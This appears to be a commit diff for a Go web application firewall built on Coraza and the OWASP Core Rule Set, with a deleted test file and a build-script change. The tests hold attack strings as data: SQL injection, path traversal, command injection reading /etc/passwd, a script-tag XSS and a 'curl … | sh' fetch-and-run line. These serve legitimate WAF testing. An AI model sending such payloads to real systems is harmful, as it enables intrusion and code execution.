// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
waf coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the six changes, at params'
// paranoia level, without the rules it switches off, and reading request
// bodies up to params' limit.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, which the app is still to be sent, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.waf.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
internal/waf/waf_test.go
-688
View File
@@ -1,688 +0,0 @@
package waf_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
) (waf.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result {
const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a gitea request one of
// the six changes is for, and still finds result in refused, a request
// like it that the change is not for.
func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
) {
t.Helper()
wantResult(t, crs, passes, waf.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
waf.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
waf.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result waf.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
}
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, waf.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want waf.Result
}{
{"path=.gitignore", waf.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
script/build
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/sh
# script/build: build bin/smallwebwaf on the host, with Go installed, for
# working on the code by hand. The version it reports comes from git, as
# in script/docker, and the no_fs_access tag is the Dockerfile's.
# in script/docker.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
cd "$ROOT"
version="$(git describe --tags --always --dirty 2>/dev/null || true)"
[ -n "$version" ] || version="unknown"
go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
go build -trimpath -ldflags "-X main.Version=$version" \
-o bin/smallwebwaf ./cmd/smallwebwaf
}